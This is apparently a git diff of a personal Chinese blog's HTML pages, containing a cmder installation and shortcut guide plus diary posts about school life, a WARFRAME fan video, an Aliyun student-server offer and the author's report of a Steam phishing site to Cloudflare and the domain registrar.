3、Cmder可以设置窗口颜色,字体大小(更加美观)

+

4、Cmder有很多快捷键和谷歌浏览器操作类似(反正就是很多功能)

+

下载地址(官网):

Cmder官网

+

官网下载有mini版和完整版,我建议完整版(虽然我也不知道两个之间有什么区别,或许是少了点命令?)

+

一点小技巧:

你可以在系统属性里面配置环境变量,把cmder的路径加入到path里面去

+

然后以管理员身份打开cmd,输入

+
1
2
# 设置任意地方鼠标右键启动Cmder
Cmder.exe /REGISTER ALL
+ +

然后你就可以像我一样在任意地方打开cmder了

+

cmder-here

+

快捷键大全(官网有):

1
2
3
4
5
6
7
8
9
10
11
12
13
Tab       自动路径补全
Ctrl+T 建立新页签
Ctrl+W 关闭页签
Ctrl+Tab 切换页签
Alt+F4 关闭所有页签
Alt+Shift+1 开启cmd.exe
Alt+Shift+2 开启powershell.exe
Alt+Shift+3 开启powershell.exe (系统管理员权限)
Ctrl+1 快速切换到第1个页签
Ctrl+n 快速切换到第n个页签(n无上限)
Alt + enter 切换到全屏状态
Ctrl+r 历史命令搜索
Win+Alt+P 开启工具选项视窗
+ +
TIPS:如果中文不能正常显示,可以在设置的环境选项(Settings–>Startup–>Eniviroment)内加入以下语句
1
set LANG=zh_CN.UTF8 
+ +

cmder-cn

+
题外话

1、我没有收广告费,单纯是因为它很好用

+

2、Win10还是比较推荐Powershell的,但是win10以下powershell(即使内置)是没有在环境变量中的,所以win10以下我还是会用cmder

+
+
后期更新:

Powershell真香!

+
+

2020.3.19 更新

应评论区用户要求,我就来讲讲小白式玩法~

+

第一点:将cmder加入PATH变量

以Win10为例(Win10以下的path变量管理界面不一样,但是道理还是一样的)

+

我们首先右键我的电脑(此电脑),然后选择属性

+

+

在此电脑的属性页面中选择高级系统设置

+

+

在打开来的窗口选择环境变量

+

+

然后在上面的用户变量栏里面选择path然后点击编辑

+

+

在右侧点击新建,然后在框框里面先随便输入点内容(因为如果不输入直接点浏览的话会覆盖掉上面的数据)

+

+

接着选择浏览,选到你的cmder存放的目录,我这里是在G:\cmder,所以直接选择到这里就好了

+

+

点击确定,在左边的环境变量栏里面就会有刚刚选择的目录路径了

+

接着打开运行,你也可以通过Win+R来打开,在里面输入cmder然后确定

+

+

如果你能正常打开cmder就说明你设置成功啦!

+

+

上面说的把cmder加入到右键菜单,在电脑左下角的Win标那里右键,选择命令提示符(管理员)或者Windows Powershell(管理员)

+

+

把上面的那一串命令打进去就可以了。

+

你是不是完成配置了呢?那就开始你的cmder之旅吧!

+
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/cmder/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary1/index.html b/posts/diary1/index.html new file mode 100644 index 0000000000..0ad9e8547c --- /dev/null +++ b/posts/diary1/index.html @@ -0,0 +1,310 @@ +日常吐槽01 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽01

想开一个日常吐槽分区,除了技术(汗?)文还可以发一发平常的感受~

+

期中考考完啦!!!开心~

+

但是数学考得不很好,反正就是不很好(自闭中)

+

本周遇到了wordpress会出现429错误的问题,貌似被墙了,果断搭建一个代理站,但是wordpress的链接不是相对链接,是绝对链接,所以要下载wordpress要手动把原来的域名改成我的域名

+

点我下载wordpress最新版~(zip)

+

点我下载wordpress最新版~(tar.gz)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary10/index.html b/posts/diary10/index.html new file mode 100644 index 0000000000..5c868f7017 --- /dev/null +++ b/posts/diary10/index.html @@ -0,0 +1,320 @@ +日常吐槽10:我的域名被停止解析了 —— 一段时间 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽10:我的域名被停止解析了 —— 一段时间

这件事还得从群里的兄弟那里说起(右图)

+

主要是我这边没办法用个人身份备案,然后有些东西没有备案就很恼人,尤其是最近收到的Leancloud国际版不对大陆用户提供服务的通知

+

+

这就搞得没备案会让我陷入被动(特别是在某些服务上面),那没办法啦,既然有能够弄企备的方法,那就去弄一个吧

+

然后我就找上门了,就像下面这样

+

+

然后我就开始等待了,按照对面的说法我前面还有一个人,然后备案要等14-30天

+

结果某一天,别人告诉我服务炸了

+

+

然后我就去排查,看我的腾讯云上TS正在正常运行,但是就是连不到

+

与此同时,我的MC服务器也连接不到了,但是BungeeCord还在正常运行

+

我就猜是不是域名解析掉了,我就去问备案那边,他说确实是

+

+

那有啥办法嘛,只能等了呗

+

我就把我的必要服务开了第二个域名,例如我的BLOG开在了https://blog.ninym.top上面,前几天做的hexo域名检测工具开在了https://linkcheck.ninym.top

+

然后把部分Github仓库涉及到文档在我的网站上的加一条备用文档链接,然后陷入无尽的等待……

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary10/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary2/index.html b/posts/diary2/index.html new file mode 100644 index 0000000000..2da6fc78d9 --- /dev/null +++ b/posts/diary2/index.html @@ -0,0 +1,309 @@ +日常吐槽02 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽02

今天是周日,还要考试,哭了。。。

+

本周二是学校的研学活动,但是说不给带手机给带相机,对我倒是没什么所谓啦(原因在下面),但是学校有没有考虑过有些人家里莫得相机啊?

+

周三晚上校运会开幕式,有我们至今为止最庞大的直播阵容:

+

直播及录像机:我的Lenovo不知道是什么鬼型号,反正i7 7700k够用了,加个16G运存,用NDI采集导播机的画面
导播机:梅导的新电脑,用的9900k还有32G运存,我觉得用vmix莫得问题,用NDI传输画面给我的电脑中的OBS
(PS:我们是vMix导播切镜头,我的OBS来直播+录像)
字幕机:梅导以前的电脑,用的6700k
采集机(4台):采集四个相机/无人机的实时画面,利用NDI传输到导播机
相信这一次我们能够避免上次的马赛克
由于导播,所以我们一定要使用手机,所以上面才说没什么所谓~

+

准备退休啦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary3/index.html b/posts/diary3/index.html new file mode 100644 index 0000000000..d0f19ba4e9 --- /dev/null +++ b/posts/diary3/index.html @@ -0,0 +1,470 @@ +日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作 | GamerNoTitle + + + + + + + + + + + + + + +

日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作

近期做了一个视频:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

+

WARFRAME COINCIDANCE

+

什么?你说你还没有看?赶紧点开上面的蓝链前往B站查看!!!

+

哔哩哔哩播放:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

+ +YouTube播放: + + +这是[bilibili@GamerNoTitle](https://space.bilibili.com/44666814)(也就是我自己)和[bilibili@ThisNEKKO_xd](https://space.bilibili.com/49835313/)、[bilibili@MI-rice-json](https://space.bilibili.com/22267745/)和[bilibili@毁天灭地的GEnX](https://space.bilibili.com/49914186/)四人一起合作完成的视频,这算是2019(农历)的最后一个视频,也是第一个视频。至于这个发布日期也是特意挑的,因为是我农历生日…… + +

一开始想做这个是因为看到了这个【命运2 抖肩舞】再来亿遍!打游戏不如跳舞!每天一遍,防止抑郁~命运2版Coincidance 自制

+

没错,就是命(tu)运(ming)2版的Coincidance。其实这个视频我是在期末考试最后一天的中午在宿舍里面看的,因为我们的考试安排是这样的(如下表,忘了具体日期了,本人选科是全理科)↓

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
日期场次科目时间
第一天1语文7:40~10:10
第一天2物理10:30~11:45
第一天3政治(不考)14:30~15:45
第二天1数学8:00~10:00
第二天2生物10:20~11:45
第二天3地理(不考)14:30~15:45
第三天1英语8:00~10:00
第三天2化学10:20~11:45
第三天3历史(不考)14:30~15:45
+

也就是在第三天的中午,反正下午也不考试,我就掏出了手机,打开了B站,开始看了一中午的视频(在这天之前我从未掏出过手机!),然后就看到了这个视频。

+

这个视频也是我的各个好友不断分享,然后在前天(2020.1.20)的晚上,我突然想到“为啥我们不做一个自己的COINCIDANCE”?用WARFRAME来做呢?(因为WARFRAME较完善的动作系统)

+

给我也整一个 MOD

+

然后我就在群里面找人,讲真,我身边加上我玩WARFRAME的人(就是身边的,不算上沙雕群友们)就只有4个人,而且WARFRAME刚好也是一个队伍最多4个人(这里我就要吐槽了,为什么不能像土命一样一个队伍6个人,这样更快乐,即使有5人小队BUG,但是不如土命2快乐),我们就相约第二天九点上线动工。

+

到了早上8点50分,我的手机闹铃就响了,是标准的Pixel音效 是在催促我起床了,我就赶紧起床,然后打开了WARFRAME。幸好我已经提前更新完了,要不都不知道要等多久。我打开了前一天晚上与@ThisNEKKO_xd一起讨论修改的脚本打开,然后CALL上小队成员,进入Chaptcha(好像是这么叫的)摄影棚开始拍摄。

+

(下面先放出脚本)

+
+

KIKI:Gamer.bili

+

ChuChu: Notfound404.

+

摄像机?(中间的人):GodGenx

+

机动:UBIthepotato

+

第一幕:KIKI

+

KIKI走路(第一个仓鼠叫做kiki)

+

KIKI拍绝路(她手上的是8极化绝路 – 截图)

+

机动&中间的人(不要和后面用一个甲)拳击(动作:洞悉武式)(她的车队喜拳击)

+

KIKI跳舞(但KIKI喜欢跳舞)

+

第二幕:ChooChoo

+

ChooChoo三弦琴(第二只仓鼠叫做ChooChoo,是一只??的仓鼠)

+

ChooChoo子弹跳×2(她喜欢解救受难仓鼠,但更喜欢跳舞)

+

ChooChoo跳舞

+

第三幕:

+

KIKI子弹跳×1,走动 ChooChoo三弦琴(她们踏上了旅程)

+

飞船(去到各个星球)

+

KIKI&ChooChoo处决&砍怪(分开)(她们听从莲妈,成为了Tenno强盗)

+

第四幕:

+

KIKI中继站子弹跳(她们跑遍了宇宙)

+

ChooChoo&NPC深鞠躬(遇到了许多的人)

+

七字真言弹出登录界面(无论是否有七字真言,她们都在跳舞)

+

KIKI跳舞

+

ChooChoo跳舞

+

KIKI在NPC面前跳舞

+

第五幕:摄影棚中继站

+

四人加载界面&四人进去不要动(一天她们到达了,宇宙的某个中继站)(加Hydroid中继站大字)

+

中间黑咖喱显赫刀剑疯狂长按E(她们俩肩并肩跳舞引来了其他仓鼠的围观)

+

KIKI&ChooChoo转身(她们转身面对面)

+

Kiki&ChooChoo跳舞(一切就在这巧合发生了)

+

KIKI鼓掌ChooChoo跳舞(Wow,跳的不错嘛)

+

KIKI跳舞ChooChoo鼓掌(Wow,你也不错嘛)

+

(He went dongdongdong, he went dongdongdong,They said we both been dance all this time)

+

KIKI&ChooChoo转向镜头(同时)(What coincidance)

+

Kiki&ChooChoo跳舞

+

▲注意一定要看下面

+

三个人(kiki&ChooChoo&机动)

+

Kiki左 机动中 ChooChoo右

+

1、 kiki&ChooChoo跳

+

2、 三人跳

+

3、 机动跳

+

4、 三人跳

+

第六幕:多场景

+

1、(场景无所谓)两人跳(从此她们一起跳舞)

+

2、(塞防图)上下两人跳(在这之前没人像她们一样)

+

3、(去希图斯)四人跳舞步可不统一(整个小队都在跳舞)

+

4、(夜灵平野三傻面前)四人跳舞(没有人去欺负三傻)

+

5、(放大KIKI)(KIKI停下面对镜头)(NO MORE)

+

6、(金星平原蜘蛛前面)四人跳(整个小队一起跳舞跳到了金星平原)

+

第七幕:

+

Kiki&ChooChoo同时跳(这都是因为两人的相遇,What a coincidence!)

+

很多镜头&甲用于快闪 都是单独舞步跳两个轮回

+

机动 指挥家武式(Lets dance)

+

第八幕:

+

1、 (KIKI左 机动中(靠后) ChooChoo右)KIKI&ChooChoo跳

+

2、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

+

3、 (KIKI左 机动中(靠后) ChooChoo右)三人跳

+

4、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

+

5、 (KIKI左 机动中(并排) ChooChoo右)三人跳

+

6、 (KIKI)KIKI跳

+

7、 (ChooChoo)ChooChoo跳

+

8、 (机动)

+

9、 (机动)蚀之武式

+

10、(机动&摄影)

+

11、KIKI跳 机动左侧鼓掌

+

12、ChooChoo跳 机动右侧鼓掌

+

13、KIKI跳

+

14、全队跳

+

—END—

+

制作者名单

+
+

对比起视频,讲真,有些镜头我们并没有拍。但是拍摄过程中,同一素材我们拍摄了多次,而且也在刷突击的时候顺带拍摄了某些素材,拍摄时长算下来一个小时多一点,效率还是挺高的。

+

然后就到了最难的时候了——传素材。我们是四个人分别录制了素材,土豆(这里指@MI-rice-json,因为WARFRAME的ID叫做UBI.the.potato故称作土豆)的电脑比较渣,录了一小段,总共1.46GB,直接使用奶牛快传传给了我;笨猫(此处指@ThisNEKKO_xd)录了总共2.54GB素材,因为人就在我旁边,所以直接用我的SSD拷贝过来;最难的是@GEnX的素材,他的电脑被我们称为“全队最好的电脑”,大部分素材都是他那里录制出来的,总共有29个G,这可难了,QQ最大传输文件和奶牛快传最大传输大小都为4个G,我就想到用压缩的方式,把文件分成N个4095MB(4GB=4096MB)的压缩包分段,然后一个一个传。@GEnX的龟速上行网络最高只有2.5MB/s的传输速度,所以无论我的下载速度多快也突破不了这2.5MB/s的上限,没办法,只能慢慢传了。8个文件,5个用QQ传输,3个用奶牛快传,总计传输了5个多小时。。。

+

终于传完素材了!可以开始剪辑啦!我满心欢喜地打开了我的PR,问题又来了!我的PR,它,它,它居然——闪退!!!因为我安装的是Adobe Premiere Pro 2020,上网查了以后发现,没有CC(Adobe Creative Cloud)是运行不了的,我就只能被迫下了一个CC(太难了),开始了剪辑

+

剪辑花费时长大概两个小时,因为素材拖进PR里面以后,PR会自动开始生成视频的峰值文件,这就吃了我很大一部分的CPU,只能顶着100%的CPU剪辑,剪辑了两个半小时(期间包括我上大字幕和@ThisNEKKO_xd上下面的字幕),终于完成了~

+

然后我就开始上传,编辑稿件,选择投稿日期->2020.1.22 09:00(因为这天刚好是我农历生日,我家生日算农历),然后提交了稿件,关上了电脑。

+

出场的仓鼠们如下(以下为WARFRAME ID):
音乐甲 & NOVA PRIME @Gamer.bili
瓦喵 PRIME & 电男 PRIME @NotFound404.
黑咖喱 & ASH PRIME & 指挥官 @UBI.the.potato
女枪PRIME & (潜行)指挥官 @GODGEnX
制作者名单:
导演 @Gamer.bili
剧本 @Gamer.bili @NotFound404.
拍摄 @GODGEnX @NotFound404. @Gamer.bili
剪辑 @Gamer.bili @NotFound404.
字幕 @NotFound404.

+

现在我写这一篇文章,应该是算作留个纪念吧,毕竟,这个视频做起来也不容易。。。

+

喜欢我的视频,请长按点赞键支持我哦~虽然我只是一只比白咕咕还要会咕咕咕的鸽子~

+

白咕咕

+

2020.1.22

+

GamerNoTitle

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary3/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary4/index.html b/posts/diary4/index.html new file mode 100644 index 0000000000..81a5766698 --- /dev/null +++ b/posts/diary4/index.html @@ -0,0 +1,320 @@ +日常吐槽04 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽04

最近甚是无聊,因为做完了作业又不能出门(这都要从一只蝙蝠说起……),天天在家里打命(tu)运(ming)2,在家里躺着都算给国家做贡献……也没干什么技术活,就还是来吐槽一下吧

+

+

首先先感谢2019-ncov送来的寒假延长消息,让我们的寒假至少延迟到了2020.2.17(原来是9号回校,10号正式开学),也让我肝土命2的时间变多了(这赛季等级莫不是要冲100,正因如此,周末双休可能就要变成单休了,而且准高三的暑假估计要被阉割掉了)。因为病毒的影响,导致人人不能出门,出门必戴口罩。因为口罩太畅销了,有些地方的口罩纷纷涨价。涨价一点点能接受对吧,但是我看到我们班上有人20买个医用口罩,真心贵……(强烈斥责坐地起价的行为)昨天早上还去排队买口罩,凭身份证一人买五个5¥,买完了还去别的地方看看有没有口罩买,最后十一点半回到家……

+

+

既然学校延迟开学,那也不能闲着,让学生开始用起了钉钉,想着用钉钉的会议模式上课(什么脑洞……)钉钉的商店评分骤降(XSWL),这算是躺枪_(:з」∠)_吧……但是也让钉钉首次超过微信拿到了iOS榜单第一(嘿嘿)

+

+

最近特别喜欢用twitter(我也不知道为什么,我的Twitter@GamerNoTitle),天天早上就打开手机看推,然后看到@PlayWarframe(WARFRAME官方账号)关注了@Bungie(命运2开发商)和@Destiny2(命运2官方账号),这两家公司莫非有啥关系???(不过话说是同一题材的游戏撒)

+

+

15天前,我在Valine-Admin的仓库发布了issue#75,主要是邮件的发送上的问题,直到今天,终于有人回复我啦^v^,感谢大佬**@tnrzy**帮我解决了邮件发送的问题*v*

+

+

前几天还是在刷Twitter的时候,想去Soundcloud上听大佬的歌曲,然后发现国内访问不了Soundcloud,而且用cloudflare反代也不行,我就只能翻墙上soundcloud了。话说到底为啥soundcloud不能在国内用???

+

+
+

近期想做的事情:

+

1、想玩VR!!!想玩Beat Saber!!!(没有VR的人哭了)

+

2、趁着现在闲,想继续学一下C++和Python(目前只会基础撒)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary4/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary5/index.html b/posts/diary5/index.html new file mode 100644 index 0000000000..7776e95a6d --- /dev/null +++ b/posts/diary5/index.html @@ -0,0 +1,327 @@ +日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年

活动网址:https://developer.aliyun.com/adc/student/

+

网页

+

近期,阿里云开启了白给活动,叫做阿里云高校学生“在家实践”计划,官方描述是这样的:

+

白给活动描述

+

然后往下拉,可以看到这个活动分成5个部分:

+

五步

+

①注册/登录 ②学生认证 ③完成测试 ④领取ECS学习资源 ⑤开始课程学习

+

其实这五部分就前面三个部分是需要我们进行的。注册和登录就不用多说了;学生认证:如果你是在校大学生,那么这个认证对你来说很轻松;如果你不是在校大学生,没关系!按照阿里云官方的说法,24岁以下都算学生。 事实证明还是要完成学生认证……

+

然后麻烦的东西是测试,这个测试共有10道题目,每道题10分,具体说明如下:

+
+

学生成长计划领取资格考试 - 云计算及云服务器入门

共10道题 限时10分钟

知识点考察范围:云计算概念、云服务器ECS基础知识。学习《云计算的前世今生》(链接: https://developer.aliyun.com/course/1236)、《7天玩转云服务器》 (链接: https://developer.aliyun.com/course/70) 课程将有助于提升考试通过率。

+
+

答题开始即开始计时,中途不可暂停,如超时则自动提交

1、考试共 (10) 道题,总分100分,及格分数60分
2、考试需在(10分钟)内交卷,过程中无法暂停,请提前安排好时间;如未及时交卷,则本次考试作废
3、推荐使用 Chrome 浏览器(版本:73及以上的正式版本),或Firefox浏览器(版本:66及以上的正式版本)

+
+

反正我做下来也挺简单的,拿了个80分,不会的可以去百度一下,10分钟10道题时间绝对够

+

服务器相关信息

+

然后回到页面,你就有资格领取服务器啦!建议早上八点蹲点领取哦~

+

如果你是教师,你还可以通过教师认证,拿多一台服务器,岂不美哉?

+

阿里云活动规则如下:

+
+

一、活动对象:国内全日制在校学生

二、符合以下条件用户可参与:

  • 阿里云注册且个人实名认证用户
  • 完成学生认证
  • 完成学习课程并通过测试

三、活动规则

1. 全日制在校大学生,需同时完成阿里云个人实名认证、学生认证,且两者信息一致,认证通过后,完成学生计划的学习课程,并通过测试,同一用户可免费领取1台云服务器ECS(仅限当前未保有 ECS用户 )和学习课程资源。

2. 学生计划提供的云服务器ECS产品数额有限,每天8点开放固定领取名额 ,先到先得,领完即止。用户领取时应确认地域等相关选择信息,开通后不允许更改配置。

3. 学生计划用户免费领取的云服务器ECS,有效期自领取日起6个月内有效。用户学生认证在有效期内且有效时长大于等于6个月的用户,云服务器ECS到期释放前30天内,可登录个人中心,参加阶段性学习考试,测试通过,可免费续期1次,时长为6个月,续费实例规格需跟领取时一致才可享受。使用过程中如需对领取产品进行升级,请按照标准费用进行升级。

4. 如学生用户账号下存在正在使用的ECS产品或已通过云翼计划购买或未支付订单,会导致系统对用户领取资格的审核无法通过;在此情况下,用户ECS产品到期释放后、作废相应的未支付订单后,方可正常参与相应产品的领取。

5. 参与阿里云高校在家实践计划的学生用户,同一用户最多可保有2台云服务器ECS,指包括满足学生计划条件用户,领取的1台云服务器ECS(同一用户限领1台),和通过教师计划,满足实名认证和学生认证条件用户,获得教师提供兑换码,验证成功,领取的1台云服务器ECS(同一用户限领1台)。

6. 参与阿里云高校在家实践计划的学生用户,通过教师提供兑换码,领取的云服务器ECS,仅用于教师指定课程学习使用,课程结束后,请及时保存相关数据并进行ECS资源释放。如需继续使用,请自行进行续费操作。

7. 用户参与阿里云高校在家实践计划(含学生计划)所获得的相应权益,仅限本人使用,不得转让、出售或以其他方式换取利益。

8. 为保证活动的公平公正,阿里云有权对恶意刷抢(如通过程序等技术手段)活动资源,长期资源闲置 ,利用资源从事违法违规行为的用户收回免费领取ECS使用资格。

9. 如用户在活动中存在隐瞒、虚构、作弊、欺诈或通过其他非正常手段规避活动规则、获取不当利益的行为,例如:作弊领取、恶意套现、网络攻击、虚假交易等,阿里云有权收回相关权益、取消用户的活动参与资格,撤销违规交易,必要时追究违规用户的法律责任。

10. 活动名称仅为方便用户理解参考使用,不具有效力,实际活动内容以具体活动规则为准。

四、名词及解释

1. “阿里云官网”,是指包含域名为www.aliyun.com的网站以及阿里云客户端,如APP,但阿里云国际站,包括alibabacloud.com以及所有下属页面和jp.aliyun.com以及所有下属页面除外。

2. “同一用户”,是指根据不同阿里云账号在注册、登录、使用中的关联信息,阿里云判断其实际为同一用户。关联信息包括但不限于同一证件号、同一手机号、同一支付账号、同一设备、同一地址等。

3. “同人账号”,是指同一用户拥有多个阿里云账号的,各个账号之间互为同人账号。

4. “指定云产品”,是指某场具体活动列举的云产品(如上文所提ECS)。

5. 除非有相反证据证明外,用户参与活动所获得的全部权益和相应责任,均归属于参与活动的该阿里云账号所对应的实名认证主体。

6. 阿里云可以根据活动的实际情况对活动规则进行变动或调整,相关变动或调整将公布在活动页面上,并于公布时即时生效;但不影响用户在活动规则调整前已经获得的权益。

+
+

不说了,我要去白嫖了!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary6/index.html b/posts/diary6/index.html new file mode 100644 index 0000000000..41a132cd59 --- /dev/null +++ b/posts/diary6/index.html @@ -0,0 +1,318 @@ +“陪伴是最长情的告白” | GamerNoTitle + + + + + + + + + + + + +

“陪伴是最长情的告白”

这应该是我第一次写这种对话式的文章,怎么说呢,本文其实是我要说的一些东西……

+

相信经常跟我聊天的群友们知道,我现在(2020.7.15)是一名高三学生,在2021年参加高考,也就是说,现在我其实并没有什么精力放在网站的维护和文章的撰写上

+

2019年7月1日,本站正式上线,当时还是本主题的早期开发版,功能还挺少的,而且没有多级导航菜单。文章只有一篇hello world,直到我7月5号写了当时我用的挺多的一个软件——cmder,才有了第一篇文章

+

7月9号,我同学LOL想带我上分,但是发现自己的电脑系统坏了,问我怎么装,我说了以后他并没有明白,就写了一篇Windows安装教程

+

此后,我一直在更新一些软件分享类的教程,当然也包括hexo的部署直播服务器srs的搭建CloudFlare Workers的实战等文章,当然其中包括我高一同学合作完成的小说“这个故事由我开始,也应由我来结束”(主页隐藏)

+

到了今年的寒假,因为新冠肺炎爆发,我在家里很无聊,开始写起了爬虫,就出现了Hitokoto-SpiderNetease-Comment-Spider这两个项目,其实这是我第一次将python的知识拿来实战,后来就开始不断用python弄各种东西,包括Valine-Magic,还写了几个MCDReforged的插件,深刻地体会到了开发的乐趣

+

2020/5/11这一天,我回到了学校,开始复学。从这天开始,我露头的机会就少了很多,主要是①从工作室退休了 ②不是经常坐在电脑前,所以大家的留言我会比较晚回复(高PING战士)

+

不过我还是在坚持更新Valine-Magic,渐渐地从Github中回到了现实生活

+

2020/7/15这天,我正式考完了高二最后一场考试,升到了高三。我将在2020年8月9日返校开学,到那时,我将会真正投入学习,所以就没什么精力去更新本站和Valine-Magic(可以交Issue和PR),希望各位友链大佬能够给小弟保留一个位置

+

陪伴是最长情的告白,感谢各位访客的陪伴,到了今天在我写这篇文章的时候,UV是7538,PV是24138。不管你是刚来到本站,还是以前就来过本站,我在这里都感谢你们。我将在2021年6月8日到2021年6月10日参加全国高考,届时等我合上笔盖,从学校回到开发界,我相信我能够闯出属于我的天空!

+

想与我联系,可以使用QQ加3559869084或者发邮件到admin@bili33.top,我的索爱W595C虽然已经饱经沧桑,但是他还是能看邮件的……

+

菠咯波咯哒のSony Ericsson W595C

+

GamerNoTitle

+

2020-07-15 18:27:01

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary6/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary7/index.html b/posts/diary7/index.html new file mode 100644 index 0000000000..45e990b765 --- /dev/null +++ b/posts/diary7/index.html @@ -0,0 +1,333 @@ +日常吐槽07 - 记录一次成功的举报经历 | GamerNoTitle + + + + + + + + + + + + +

日常吐槽07 - 记录一次成功的举报经历

在这里仅记录我成功举报的一次经历,希望大家引以为戒,同时,我不玩PUBG,也不用约我打PUBG

+

另外,我在发邮件的过程中忘记用其他邮箱了,也就是我用了我的域名邮箱admin@bili33.top,如果现在在看本文的是那位办网站的老兄,请你记住:不管有多少这样的网站,只要我遇到了,通通举报!我不会改变我的做法,我希望弄这些钓鱼网站的人更少,同时给PUBG一个良好的游戏环境!

+
+ +

前几天我在浏览Steam商城,因为当时没啥好玩的了,想去看看有啥游戏,结果发现了下面这样的信息(我看到的是评测中的信息,忘记截图了,而且那个用户也被我举报并屏蔽且被V社处理了,这里是一张网上的图,我遇到的给的链接是pubgjosn.fun(危险别点))

+

网图

+

点进去用户界面,看到是个把个人信息设置为隐私的账户(此处仍然为网上的图

+

还是网图

+

我点进去一看,哟,这不是钓鱼网站嘛,长得还挺像PUBG的官网,不过开篇就是给枪皮,这价值我也不知道有多少,反正看这域名就不是官方网站

+

非官方网站

+

我试着在这个页面点击除了领取以外的按钮,发现就连阅读个新闻也要登录,这不符合逻辑,看来这个网站没啥,也就UI像了点,其他没啥

+

弹出来给我的Steam登录界面,地址栏写的是about:blank,也就是所谓的空白页,但是按照Steam的登录页面的逻辑,他应该是会写https://steamcommunity.com/?XXXXX之类的,这肯定也是个钓鱼的登录界面,随便输入个账号,就要手机验证码,骗谁呢~

+

接着,我去查了一下whois,发现他的DNS解析在CloudFlare,因为听说CloudFlare有停止解析服务这一说,所以我就去CloudFlare投诉了一波(投诉界面忘记截图了)

+

第二天早上起来,发现CloudFlare给我发了封邮件

+

CF的邮件

+

接着,我访问该网站,发现已经被挂上了红色警告

+

CF小红信

+

CloudFlare这波干的不错,返回来看CF给我发的邮件,里面还说到了以下几种方法(黄色部分,这里是在mail.ru,也就是我的域名邮箱托管的平台)

+

CF的提示

+

然后我又去查了一次whois,发现他是在reg.ru这个网站上注册的域名,接着我又去查这个网站的举报方式,发现了abuse@reg.ru这个举报邮箱

+

接着再发一封邮件,提出这种情况

+

发邮件给reg.ru

+

不久后便收到了来自该域名注册平台的邮件

+

REG.RU的回复

+

举报完成,收工!

+

在我即将开始写文的时候,发现我的Steam弹了一条V社的信息

+

V社的信息

+

这次举报真的大快人心!

+

下次继续!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary7/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary8/index.html b/posts/diary8/index.html new file mode 100644 index 0000000000..efd9a07ee5 --- /dev/null +++ b/posts/diary8/index.html @@ -0,0 +1,351 @@ +日常吐槽08 - 换用Blackberry9720三个月后的感受 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽08 - 换用Blackberry9720三个月后的感受

先给你们看看我的Blackberry9720(下图)

+

+

